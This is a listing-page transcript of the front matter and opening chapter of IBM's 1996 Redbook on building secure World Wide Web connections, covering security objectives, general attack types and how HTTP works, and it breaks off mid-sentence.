Safe Surfing: How to Build a Secure World Wide Web Connection SG24-4564-00

Document technical information

Format pdf
Size 2.2 MB
First found Jun 9, 2017

Document content analysis

Language
English
Type
not defined
Concepts
no text concepts found

Persons

Edgar Degas
Edgar Degas

wikipedia, lookup

Organizations

Places

Transcript

Safe Surfing:
How to Build a Secure
World Wide Web Connection
SG24-4564-00
IBML
Safe Surfing:
How to Build a Secure
World Wide Web Connection
SG24-4564-00
Take Note!
Before using this information and the product it supports, be sure to read the general information under
“Special Notices” on page ix.
First Edition (March 1996)
This edition applies to Version 1 Release 1 of IBM Internet Connection Secure Server, Version 2 Release 1 of IBM
Internet Connection Secure Network Gateway, and Version 1 Release 1 of IBM Secure WebExplorer for use with
the AIX and OS/2 Warp operating systems.
Order publications through your IBM representative or the IBM branch office serving your locality. Publications
are not stocked at the address given below.
An ITSO Technical Bulletin Evaluation Form for reader′s feedback appears facing Chapter 1. If the form has been
removed, comments may be addressed to:
IBM Corporation, International Technical Support Organization
Dept. HZ8D Building 678
P.O. Box 12195
Research Triangle Park, NC 27709-2195
When you send information to IBM, you grant IBM a non-exclusive right to use or distribute the information in any
way it believes appropriate without incurring any obligation to you.
 Copyright International Business Machines Corporation 1996. All rights reserved.
Note to U.S. Government Users — Documentation related to restricted rights — Use, duplication or disclosure is
subject to restrictions set forth in GSA ADP Schedule Contract with IBM Corp.
Abstract
This document describes how to create a secure World Wide Web connection
from end to end. It discusses the benefits and risks of doing business on the
Web and defines objectives for secure communications.
The document describes the protocols and cryptographic techniques used for
secure Web connections and illustrates them with examples using the IBM
Internet Connection family of products. It also describes how to protect systems
that run World Wide Web applications by means of firewalls and good systems
management.
This document is intended for the use of Webmasters, systems administrators
and other personnel involved in planning, configuring or administering services
on the World Wide Web.
(140 pages)
 Copyright IBM Corp. 1996
iii
iv
Safe Surfing: How to Build a Secure WWW Connection
Contents
Abstract
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Special Notices
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Preface
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . .
How This Document is Organized
. . . . . . . . . . . . . . . . . . . . . . . . . .
Related Publications
International Technical Support Organization Publications . . . .
How Customers Can Get Redbooks and Other ITSO Deliverables
How IBM Employees Can Get Redbooks and ITSO Deliverables
Acknowledgments
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . .
. . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Chapter 1. Introducing Security into the World Wide Web
. . . . . . . . .
1.1 Some Security Concepts and Terms
1.1.1 Security Objectives . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . .
1.1.2 Types of Attack
. . . . . .
1.2 World Wide Web Security Considerations
1.2.1 How the World Wide Web Works . . . . . . . . .
1.2.2 Where the Web Is Vulnerable . . . . . . . . . . .
1.2.3 What Weapons Are in Our Arsenal? . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
Chapter 2. Be Careful Who You Talk To: HTTP Basic Security
. . . . . . . . . . . .
2.1 Implementing Basic Server Security
2.1.1 Mapping Rules: Defining Where the Documents Are
2.2 Adding Basic Authentication . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . .
2.2.1 Defining User IDs
. . . . . .
2.2.2 Protecting Data via the Configuration File
2.2.3 Using Access Control List Files . . . . . . . . . . . . .
. . . . . . .
2.2.4 Example of Accessing a Protected Page
2.3 How Secure Is HTTP Basic Authentication? . . . . . . . .
. . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
Chapter 3. Execution Can Be Fatal: CGI Scripts and Java . . . . . . . . .
. . . . . . . . . . . . . . . .
3.1 Examples of CGI Programming Problems
3.1.1 CGI Example: Use of the eval Command . . . . . . . . . . . . . .
. . . . . . . . . . .
3.1.2 CGI Example: Weakness in Called Programs
3.1.3 CGI Example: You Cannot Rely On Your Own Forms Being Used
3.2 CGI Exposures in Summary . . . . . . . . . . . . . . . . . . . . . . . . .
3.3 Java . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3.1 What Is Java?
. . . . . . . . . . . . . . . . . . . . .
3.3.2 Java in the World Wide Web
3.3.3 Java Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Chapter 4. A Tangled Web: SSL and S-HTTP
. . . . . . . .
4.1 Cryptographic Techniques
4.1.1 Symmetric-Key Encryption . . . . . .
. . . . . . . .
4.1.2 Public-Key Encryption
4.1.3 Secure Hash Functions . . . . . . . .
4.1.4 Combining Cryptographic Techniques
4.2 An Introduction to SSL and S-HTTP . . .
. . . . . . . . . . . . . . . . . . .
4.2.1 SSL
 Copyright IBM Corp. 1996
. . .
. . .
. . .
. . .
. .
. . .
. . .
. . .
. . .
. . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
iii
ix
xi
xi
xi
xii
xii
xiii
xv
1
1
2
3
4
4
5
6
7
8
8
14
14
15
20
21
24
27
27
27
29
30
31
32
32
32
33
37
38
38
40
42
42
43
43
v
4.2.2 S-HTTP
. . . . . . . . . . . . . . . . . . . . .
4.2.3 SSL and S-HTTP Compared . . . . . . . . .
4.3 Creating Documents That Use SSL and S-HTTP
. . . . . . . . . . . . . . . . . . .
4.3.1 Using SSL
. . . . . . . . . . . . . . . . .
4.3.2 Using S-HTTP
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . .
Chapter 5. A Web of Trust: Managing Encryption Keys . .
5.1 Public-Key Certificates . . . . . . . . . . . . . . . . . . .
5.1.1 Certifying Authorities . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . .
5.2 Using the Certification Process
5.2.1 Requesting a Server Certificate from a Known CA
. . . . .
5.2.2 Requesting a Client Persona Certificate
. . . . . . . . .
5.2.3 Creating a Self-Signed Certificate
. . . . . . . . . .
5.2.4 Acting As a Certifying Authority
. . . .
5.3 Practical Implications of Certifying Authorities
. . . . . . . . . . . .
65
65
66
67
68
70
73
73
75
Chapter 6. Money Makes the Web Go Round: Secure Electronic Transactions
6.1 Digital Cash Systems
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.2 The Secure Electronic Transaction Specification . . . . . . . . . . . . . . .
6.2.1 SET Roles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.2.2 SET Transactions
6.2.3 The SET Certificate Scheme . . . . . . . . . . . . . . . . . . . . . . . . .
6.3 The Future of Secure Electronic Transactions . . . . . . . . . . . . . . . . .
77
77
79
79
79
81
83
Chapter 7. Locking the Front Door: Firewall Considerations
. . . . . . . . . . . . . . . . . . . .
7.1 Protecting the Server
7.1.1 A Classic DMZ Setup . . . . . . . . . . . . . . . . . .
. . . . . . . . . . .
7.1.2 Using a Simplified Server Setup
7.2 Breaking Sessions at the Firewall . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . .
7.2.1 SOCKS
. . . . . . . . . . . . . . .
7.2.2 Setting Up Proxy Servers
7.3 Protecting the Client . . . . . . . . . . . . . . . . . . . . .
85
85
87
91
93
94
95
97
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
Chapter 8. Locking the Back Door: Hardening the Underlying System
8.1 Securing an AIX Server . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . .
8.1.1 Setting Up a User ID for the Web Server
. . . . . . . . . . . . . . . . . .
8.1.2 Removing Unneeded Services
8.1.3 Cleaning Up User IDs . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
8.1.4 Setting Up Password Rules
. . . . . . . . . . . . . . . . . . .
8.1.5 Cleaning Up the File System
8.1.6 Configuring the Trusted Computing Base . . . . . . . . . . . .
. . . . . . . . . . . . . . .
8.1.7 Restricting the Server Environment
. . . . . . . . . . . . . . . . . . . . . . . .
8.2 Securing an OS/2 Server
8.3 Checking Network Security . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . .
8.4 Checking System Security
8.4.1 Checking AIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.4.2 Checking OS/2 . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.5 More Hints on WWW Security Configuration . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . .
8.5.1 Protecting Web Data
8.5.2 Merging FTP and HTTP Access . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . .
8.5.3 CGI Script Locations
8.5.4 Symbolic Links . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.5.5 User Directories . . . . . . . . . . . . . . . . . . . . . . . . . . .
Chapter 9. Integrating Business Applications
vi
47
49
50
50
56
Safe Surfing: How to Build a Secure WWW Connection
. . . .
99
100
100
101
102
102
103
103
103
107
107
108
108
108
108
108
108
109
109
109
. . . . . . . . . . . . . . . . . .
111
. . . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
9.1 Doing Remote DB2 Queries on AIX
. . . . . . . . . . . . . . . . . . . . . .
Chapter 10. Auditing, Logging and Alarms
. . . . .
10.1 Auditing and Logging on AIX
10.1.1 Configure Logging . . . . . . . . .
10.1.2 Managing System Logs . . . . . .
10.1.3 Configuring the Audit Subsystem
10.1.4 Generating Real Time Alerts . . .
10.1.5 Daily Log Analysis . . . . . . . . .
10.1.6 Dealing With the Web Server Logs
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . .
Chapter 11. In Practice: The IBM RTP Internet Gateway
. . . . . . . . . . . . . . . .
11.1 Document Your Policy
. . . . . .
11.2 Details of the RTP Internet Connection
Appendix A. Code and Other Resources on the Internet
A.1 The World Wide Web Consortium . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . .
A.2 Mailing Lists
A.3 FAQs . . . . . . . . . . . . . . . . . . . . . . . . . . .
A.4 Newsgroups . . . . . . . . . . . . . . . . . . . . . . .
A.5 Useful Free Code on the Internet . . . . . . . . . .
A.5.1 CERN httpd . . . . . . . . . . . . . . . . . . . . .
A.5.2 COPS . . . . . . . . . . . . . . . . . . . . . . . .
A.5.3 Tripwire . . . . . . . . . . . . . . . . . . . . . . .
A.5.4 Crack . . . . . . . . . . . . . . . . . . . . . . . .
A.5.5 Cracklib . . . . . . . . . . . . . . . . . . . . . . .
A.5.6 MD5 . . . . . . . . . . . . . . . . . . . . . . . . .
A.5.7 ISS . . . . . . . . . . . . . . . . . . . . . . . . . .
A.5.8 Log_TCP (wrapper) . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . .
A.5.9 TIS toolkit
A.5.10 Tiger/TAMU . . . . . . . . . . . . . . . . . . . .
A.5.11 SATAN . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . .
A.5.12 SOCKS
A.5.13 Mosaic . . . . . . . . . . . . . . . . . . . . . . .
A.5.14 Strobe . . . . . . . . . . . . . . . . . . . . . . .
A.5.15 GhostScript . . . . . . . . . . . . . . . . . . . .
A.5.16 PERL . . . . . . . . . . . . . . . . . . . . . . . .
A.5.17 lsof . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
Appendix B. Alphabet Soup: Some Security Standards and Protocols
. . . .
Appendix C. A Step-By-Step Guide to Building an SSL and S-HTTP Demo
System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . .
C.1 Demo System Overview
C.2 Step 1: Building the Certifying Authority Key Ring . . . . . . . . . . .
C.3 Step 2: Building the Server Key Ring . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . .
C.4 Step 3: Building the Client Key Ring
C.5 Installing the Demo Page . . . . . . . . . . . . . . . . . . . . . . . . . .
Index
111
117
117
118
120
122
125
128
132
137
137
137
141
141
141
141
142
142
143
143
143
143
143
143
143
144
144
144
144
144
144
144
145
145
145
147
. .
151
151
151
152
154
156
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
167
Contents
vii
. .
. .
. .
. .
. .
viii
Safe Surfing: How to Build a Secure WWW Connection
Special Notices
This publication is intended to help Webmasters and systems administrators
understand, configure and manage secure World Wide Web connections. The
information in this publication is not intended as the specification of any
programming interfaces that are provided by the IBM Internet Connection family
of products. See the PUBLICATIONS section of the pertinent IBM Programming
Announcement for more information about what publications are considered to
be product documentation.
References in this publication to IBM products, programs or services do not
imply that IBM intends to make these available in all countries in which IBM
operates. Any reference to an IBM product, program, or service is not intended
to state or imply that only IBM′s product, program, or service may be used. Any
functionally equivalent program that does not infringe any of IBM′s intellectual
property rights may be used instead of the IBM product, program or service.
Information in this book was developed in conjunction with use of the equipment
specified, and is limited in application to those specific hardware and software
products and levels.
IBM may have
this document.
these patents.
Licensing, IBM
patents or pending patent applications covering subject matter in
The furnishing of this document does not give you any license to
You can send license inquiries, in writing, to the IBM Director of
Corporation, 500 Columbus Avenue, Thornwood, NY 10594 USA.
The information contained in this document has not been submitted to any
formal IBM test and is distributed AS IS. The information about non-IBM
(VENDOR) products in this manual has been supplied by the vendor and IBM
assumes no responsibility for its accuracy or completeness. The use of this
information or the implementation of any of these techniques is a customer
responsibility and depends on the customer′s ability to evaluate and integrate
them into the customer′s operational environment. While each item may have
been reviewed by IBM for accuracy in a specific situation, there is no guarantee
that the same or similar results will be obtained elsewhere. Customers
attempting to adapt these techniques to their own environments do so at their
own risk.
Reference to PTF numbers that have not been released through the normal
distribution process does not imply general availability. The purpose of
including these reference numbers is to alert IBM customers to specific
information relative to the implementation of the PTF when it becomes available
to each customer according to the normal IBM PTF distribution process.
The following terms are trademarks of the International Business Machines
Corporation in the United States and/or other countries:
AIX
CICS
DB2
RS/6000
 Copyright IBM Corp. 1996
AIXwindows
DatagLANce
OS/2
ix
The following terms are trademarks of other companies:
Microsoft, Windows, and the Windows 95 logo are trademarks or
registered trademarks of Microsoft Corporation.
PC Direct is a trademark of Ziff Communications Company and is
used by IBM Corporation under license.
UNIX is a registered trademark in the United States and other
countries licensed exclusively through X/Open Company Limited.
C-bus is a trademark of Corollary, Inc.
C++
Digital
HotJava
Java
Lotus Notes
Macintosh
MasterCard
Netscape
Oracle
PostScript
Sun Microsystems
Sun
American Telephone and Telegraph
Company, Incorporated
Digital Equipment Corporation
Sun Microsystems, Incorporated
Sun Microsystems, Incorporated
Lotus Development Corporation
Apple Computer, Incorporated
MasterCard International, Incorporated
Netscape Communications Corporation
Oracle Corporation
Adobe Systems Incorporated
Sun Microsystems, Incorporated
Sun Microsystems, Incorporated
Other trademarks are trademarks of their respective companies.
x
Safe Surfing: How to Build a Secure WWW Connection
Preface
This document is intended to give the reader an understanding of the issues and
techniques involved in setting up secure communications using the World Wide
Web It contains descriptions of some of the protocols and tools that may be
used, illustrated with examples using the IBM Internet Connection family of
products.
This document is intended for the use of Webmasters, systems administrators
and other personnel involved in planning, configuring or administering services
on the World Wide Web.
How This Document is Organized
The document is organized as follows:
•
Chapter 1, “Introducing Security into the World Wide Web”
This provides an overview of security on the World Wide Web and discusses
the risks and benefits of doing business on it.
•
Chapter 2, “Be Careful Who You Talk To: HTTP Basic Security”
This describes the standard facilities offered by a Web server for controlling
access to documents.
•
Chapter 4, “A Tangled Web: SSL and S-HTTP” and Chapter 5, “A Web of
Trust: Managing Encryption Keys”
These chapters describe security extensions to the normal World Wide Web
protocols and show examples of how to configure and administer them.
•
Chapter 7, “Locking the Front Door: Firewall Considerations,” Chapter 8,
“Locking the Back Door: Hardening the Underlying System” and Chapter 9,
“Integrating Business Applications”
These chapters describe ways to protect Web servers and clients from
attack.
•
Chapter 3, “Execution Can Be Fatal: CGI Scripts and Java”
This describes the particular vulnerabilities of the Common Gateway
Interface, illustrated with examples of common loopholes.
•
Chapter 10, “Auditing, Logging and Alarms”
This describes some approaches to monitoring and logging Web server,
firewall and other systems.
Related Publications
The publications listed in this section are considered particularly suitable for a
more detailed discussion of the topics covered in this document.
 Copyright IBM Corp. 1996
•
IBM Internet Connection Secure Server for OS/2 Warp: Up and Running! ,
SC31-8202
•
IBM Internet Connection Secure Server for AIX: Up and Running!, SC31-8203
xi
•
Firewalls and Internet Security, Repelling the Wily Hacker , William R.
Cheswick and Steven M. Bellovin. Published by Addison-Wesley 1994, ISBN
0-201063357-4
•
Building Internet Firewalls , D. Brent Chapman and Elizabeth Zwicky.
Published by O′Reilly 1995, ISBN 1-56592-124-0
International Technical Support Organization Publications
•
Using the Information Super Highway , GG24-2499
•
Building a Firewall With the NetSP Secure Network Gateway , GG24-2577
•
Accessing CICS Business Applications from the World Wide Web , SG24-4547
A complete list of International Technical Support Organization publications,
known as redbooks, with a brief description of each, may be found in
International Technical Support Organization Bibliography of Redbooks,
GG24-3070.
How Customers Can Get Redbooks and Other ITSO Deliverables
Customers may request ITSO deliverables (redbooks, BookManager BOOKs, and
CD-ROMs) and information about redbooks, workshops, and residencies in the
following ways:
•
IBMLINK
Registered customers have access to PUBORDER to order hardcopy, to
REDPRINT to obtain BookManager BOOKs
•
IBM Bookshop — send orders to:
[email protected] (USA)
[email protected] (Outside USA)
xii
Safe Surfing: How to Build a Secure WWW Connection
•
Telephone orders
1-800-879-2755
(45) 4810-1500
(45) 4810-1200
(45) 4810-1000
(45) 4810-1600
(45) 4810-1100
•
Toll free, United States only
Long-distance charge to Denmark, answered in English
long-distance charge to Denmark, answered in French
long-distance charge to Denmark, answered in German
long-distance charge to Denmark, answered in Italian
long-distance charge to Denmark, answered in Spanish
Mail Orders — send orders to:
IBM Publications
P.O. Box 9046
Boulder, CO 80301-9191
USA
•
Fax — send orders to:
1-800-445-9269
45-4814-2207
•
IBM Direct Services
Sortemosevej 21,
3450 Allerod
Denmark
toll-free, United States only
long distance to Denmark
1-800-IBM-4FAX (USA only) — ask for:
Index # 4421 Abstracts of new redbooks
Index # 4422 IBM redbooks
Index # 4420 Redbooks for last six months
•
Direct Services
Send note to [email protected]
•
Redbooks Home Page on the World Wide Web
http://www.redbooks.ibm.com/redbooks
•
E-mail (Internet)
Send note to [email protected]
•
Internet Listserver
With an Internet E-mail address, anyone can subscribe to an IBM
Announcement Listserver. To initiate the service, send an E-mail note to
[email protected] with the keyword subscribe in the body of
the note (leave the subject line blank). A category form and detailed
instructions will be sent to you.
How IBM Employees Can Get Redbooks and ITSO Deliverables
Employees may request ITSO deliverables (redbooks, BookManager BOOKs, and
CD-ROMs) and information about redbooks, workshops, and residencies in the
following ways:
•
PUBORDER — to order hardcopies in USA
•
GOPHER link to the Internet
Type GOPHER
Select IBM GOPHER SERVERS
Select ITSO GOPHER SERVER for Redbooks
•
Tools disks
To get LIST3820s of redbooks, type one of the following commands:
Preface
xiii
TOOLS SENDTO EHONE4 TOOLS2 REDPRINT GET GG24xxxx PACKAGE
TOOLS SENDTO CANVM2 TOOLS REDPRINT GET GG24xxxx PACKAGE (Canadian users only)
To get lists of redbooks:
TOOLS SENDTO WTSCPOK TOOLS REDBOOKS GET REDBOOKS CATALOG
TOOLS SENDTO USDIST MKTTOOLS MKTTOOLS GET ITSOCAT TXT
TOOLS SENDTO USDIST MKTTOOLS MKTTOOLS GET LISTSERV PACKAGE
To register for information on workshops, residencies, and redbooks:
TOOLS SENDTO WTSCPOK TOOLS ZDISK GET ITSOREGI 1996
For a list of product area specialists in the ITSO:
TOOLS SENDTO WTSCPOK TOOLS ZDISK GET ORGCARD PACKAGE
•
Redbooks Home Page on the World Wide Web
http://w3.itso.ibm.com/redbooks/redbooks.html
•
ITSO4USA category on INEWS
•
IBM Bookshop — send orders to:
USIB6FPL at IBMMAIL or
•
DKIBMBSH at IBMMAIL
Internet Listserver
With an Internet E-mail address, anyone can subscribe to an IBM
Announcement Listserver. To initiate the service, send an E-mail note to
[email protected] with the keyword subscribe in the body of
the note (leave the subject line blank). A category form and detailed
instructions will be sent to you.
xiv
Safe Surfing: How to Build a Secure WWW Connection
Acknowledgments
This project was designed and managed by:
Rob Macgregor
International Technical Support Organization, Raleigh Center
The authors of this document are:
Rob Macgregor
Alberto Aresi
Andreas Siegert
IBM ITSO-Raleigh
IBM Italy
IBM Germany
This publication is the result of a residency conducted at the International
Technical Support Organization, Raleigh Center.
Thanks to the following people for the invaluable advice and guidance provided
in the production of this document:
Mark Davis
Jack Hackenson
Carla Kia
Ted McFarland
Connie Perotti
Vivian Wooten
Sherry McCaughan
Dick Locke
David Boone
International Technical Support Organization, Raleigh Center
Thanks also to Kathryn Macgregor for not complaining too much about the
strange hours worked by her husband.
 Copyright IBM Corp. 1996
xv
xvi
Safe Surfing: How to Build a Secure WWW Connection
Chapter 1. Introducing Security into the World Wide Web
The popular impression that many people have of the Internet is that hundreds of
scoundrels and geeky students are lurking around the net, recording your every
transmission and trying to take possession of your bank account. The reality, of
course, is less dramatic. The risk that you take if you send a credit card number
over the Internet is probably no greater than the risk you take every time you
hand the card over to a gas-station clerk or tell someone the number over the
telephone.
However, there is some risk involved, if only because of the open and anarchic
nature of the Internet. If the promise of the Internet (and in particular its
precocious offspring, the World Wide Web) is to be fully realized, it is important
that users have confidence in it.
In this book we will deal with some of the ways that you can introduce security
into the World Wide Web, illustrated by examples using the IBM Internet
Connection family of products, namely:
•
The Internet Connection Family Secure Network Gateway
•
The Internet Connection Family Secure Servers (for AIX and OS/2)
•
The Internet Connection Family Secure Web Explorer for OS/2
This book does not seek to give detailed instructions on how to configure and
use the individual products. You should refer to the product documentation for
that. The aim of this book is to show how the different pieces fit together to
implement one specific solution: a World Wide Web connection that is secure
from end to end.
1.1 Some Security Concepts and Terms
One of the biggest problems with security is knowing how much is enough. Take
the example of a private house. You can imagine a series of increasingly secure
features:
•
Curtains on the windows to prevent people from seeing in
•
Locks on the doors, to stop a thief walking in
•
A big, ugly dog to keep unwanted visitors away
•
An alarm system to detect intruders
•
An electric fence, minefield and armed guards
Clearly, it is possible to have too much security. In general you should try to
aim for an appropriate level of security, based on the following three factors:
1. The threat (what kind of neighborhood do you live in?)
2. The value of what you are protecting (how many Van Goghs do you have?)
3. The objective of your security measures
This last factor is less obvious than the other two, but equally important. To go
back to the example of the house; if the objective we are aiming for is privacy ,
the most appropriate security measure may well be the curtains.
 Copyright IBM Corp. 1996
1
In this book we are interested in creating an appropriate level of security for a
connection across the Internet between two computers. The threat comes from
the bad guys who roam the Internet. Our connection could be passing through
some rather bad neighborhoods, so the threat will always be significant (we will
look further into the different kinds of threats in 1.1.2, “Types of Attack” on
page 3).
The value of the data we are protecting varies enormously, so we will have to be
constantly alert to make sure that our security level is appropriate.
The objectives of our security measures will depend on what type of data we are
sending. It is important to use consistent language for describing these
objectives, because the terms can be ambiguous. (For example, if we talk about
a message being ″authentic″, do we mean that we know it has not been
changed, or that we know where it came from?) In the following section we
define the terms that we will use throughout the book to describe security
objectives.
1.1.1 Security Objectives
Our security objectives will fall into one or more of the following five categories:
Access Control: Assurance that the person or computer at the other end of the
session is permitted to do what he asks for.
Authentication: Assurance that the resource (human or machine) at the other
end of the session really is what it claims to be.
Integrity:
Assurance that the information that arrives is the same as when it
was sent.
Accountability: Assurance that any transaction that takes place can subsequently
be proved to have taken place. Both the sender and the receiver
agree that the exchange took place (also called non-repudiation ).
Privacy:
Assurance that sensitive information is not visible to an
eavesdropper, usually achieved using encryption.
These objectives are closely related to the type of information that is being
transferred. The first example that people usually think about when considering
this is credit card transactions. However, this is only one of many possible uses
for WWW security enhancements. For example, imagine that we are going to
open the first college of education based entirely on the World Wide Web. Wwe
will call it WWWU, the World Wide Web University. This venture will involve
sending many different types of documents, with a variety of security objectives.
Here are some examples:
2
•
We will want to ensure that the course materials are only available to
registered students, so we will apply access control to them.
•
When the students take their online exams we will need to be sure that the
papers really do come from the student and we will also want to protect
them in transit to prevent cheating. This exchange will need both privacy
and authentication.
•
Finally the hard-working student of the WWWU will receive his online diploma
from the dean of the university and will go out into the job market armed
with this prestigious document. He will need to be able to prove that it really
was signed by the dean and that he really received it. This exchange would
therefore have to be authenticated and accountable.
Safe Surfing: How to Build a Secure WWW Connection
1.1.2 Types of Attack
The Internet is home to a variety of cyberpunks who pose threats to the security
of WWW communications. They may attempt a number of different types of
attack, for example:
Passive Attacks In a passive attack the perpetrator simply monitors the traffic
being sent to try to learn secrets. Such attacks can be either network
based (tracing the communications links) or system based (replacing
a system component with a Trojan Horse that captures data
insidiously). Passive attacks are the most difficult to detect. You
should assume that someone is eavesdropping on everything you
send across the Internet.
Active Attacks In these the attacker is trying to break through your defenses.
There are several types of active attack, for example:
•
System access attempts, where the attacker aims to exploit
security loopholes to gain access and control over a client or
server system.
•
Spoofing, where the attacker masquerades as a trusted system to
try to persuade you to send him secret information.
•
Cryptographic attacks, where the attacker attempts to break your
passwords or decrypt some of your data.
Denial of Service Attacks In this case the attacker is not so much trying to learn
your secrets as to prevent your operation, by re-directing traffic or
bombarding you with junk.
Social Engineering Attacks
One active attack method that has proved highly successful for hackers is
popularly known as the social engineering technique. This involves
persuading someone in an organization to part with sensitive access-control
information, such as user IDs and passwords.
Several forms of the social engineering attack have been recorded, for
example:
•
Pulling rank. The attacker identifies a new recruit to the organization and
telephones them, claiming to be a high-ranking official who is out of the
office. The target is so nervous about creating a good impression that he
or she will give out secret information, rather than appear to be
obstructive.
•
One of us. The attacker claims that a genuine systems administrator told
him to get in touch and arrange a guest account or some other access.
This needs an understanding of the system support departments. By
appearing to be just ″one of the gang″ the attacker can persuade the
target to lower his or her guard.
Social engineering attacks are the realm of the con-artist, rather than the
cunning technician. Indeed anyone could attempt them, given an
organization chart and a convincing telephone manner. As loopholes in the
software are progressively identified and patched up, you can expect this
kind of attack to become more common. The only defense is to put good
administrative procedures in place, and to apply them rigidly.
Chapter 1. Introducing Security into the World Wide Web
3
1.2 World Wide Web Security Considerations
In simple terms, the World Wide Web is just another application that uses TCP/IP
network protocols. However, it does have some unique features that pose
particular security problems. We will describe what the Web is and then look at
the ways in which it is vulnerable to attack.
1.2.1 How the World Wide Web Works
Figure 1 shows the different components that make up a World Wide Web
session.
Figure 1. WWW Elements. This shows one client and two servers, each in different parts of the Internet. srv1 is
currently serving document thing1.html to the user.
As this diagram shows, you can think of the World Wide Web as being two
networks superimposed upon each other. The lower network is the Internet,
which is a data communications network in the conventional sense. Systems in
the network communicate using the Internet Protocol (IP) and provide application
programming interfaces (APIs) so that applications can make use of the network
connections. The only unusual thing about the Internet compared to the average
data communications network is that it is not a single network at all, but a
collection of autonomous networks linked together by other, routing networks.
The upper layer is, in fact, an application-layer network. The World Wide Web
consists of server and client (browser) systems scattered around the Internet.
Most of the time a WWW server does one, very simple, job; it sends a document
to a client machine when the client requests it. The method it uses to do this is
the Hypertext Transfer Protocol (HTTP). HTTP is a method for encapsulating a
variety of data types in a common packaging format. HTTP is a lightweight,
stateless protocol. This means in practice that each document request is a new
connection; the session is closed and the server forgets all about the client once
the document has been transferred. If you want to get more details about HTTP,
refer to Appendix B, “Alphabet Soup: Some Security Standards and Protocols”
on page 147.
4
Safe Surfing: How to Build a Secure WWW Connection
The server does not care what the package contains, it simply delivers it over a
TCP/IP connection to the client. It is then up to the browser code in the client to
interpret the document and present it. The most common document format in
the World Wide Web uses the Hypertext Markup Language (HTML). HTML
documents are comprised of text containing embedded tags which instruct the
browser how to present the text and additional graphics files. The example in
Figure 1 on page 4 shows a simple HTML document which prints a heading and
imbeds a Graphical Interchange Format (GIF) file. There are many books
available that will teach you HTML, often in great detail. If you want a brief but
thorough introduction to the subject, we recommend Using the Information Super
